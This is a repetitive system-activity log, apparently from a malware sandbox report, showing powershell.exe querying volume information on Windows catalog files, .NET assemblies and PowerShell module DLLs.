Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
